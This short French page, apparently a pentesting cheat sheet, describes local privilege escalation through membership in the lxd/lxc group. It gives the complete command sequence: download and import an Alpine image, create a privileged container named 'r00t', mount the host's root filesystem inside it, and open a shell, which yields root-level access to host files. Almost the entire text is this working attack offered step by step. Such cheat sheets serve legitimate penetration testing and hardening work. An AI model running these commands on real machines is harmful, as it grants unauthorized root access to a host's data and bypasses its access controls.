Aller au contenu

Groupe LXC LXD

Si notre utilisateur est membre du groupe lxd / lxc, il est possible de créer un conteneur. Cela nous donne la possibilité d'être root sur ce conteneur, de monter la racine de l'host à l'intérieur du conteneur et donc de le lire avec les droits root.

💾 Télécharger une image de conteneur Alpine Linux :

wget https://dl-cdn.alpinelinux.org/alpine/v3.17/releases/x86_64/alpine-minirootfs-3.17.1-x86_64.tar.gz

🚀 Initialiser LXD au besoin:

lxd init

📝 Importer l'image Alpine comme une image LXC :

lxc image import alpine-minirootfs-3.17.1-x86_64.tar.gz --alias alpine

🛫 Lancer un conteneur Alpine avec des privilèges élevés :

lxc init alpine r00t -c security.privileged=true`

🥞 Monter le disque de l'hôte dans le conteneur :

lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true`

🐚 Accéder au shell dans le conteneur :

lxc start r00t
lxc exec r00t /bin/sh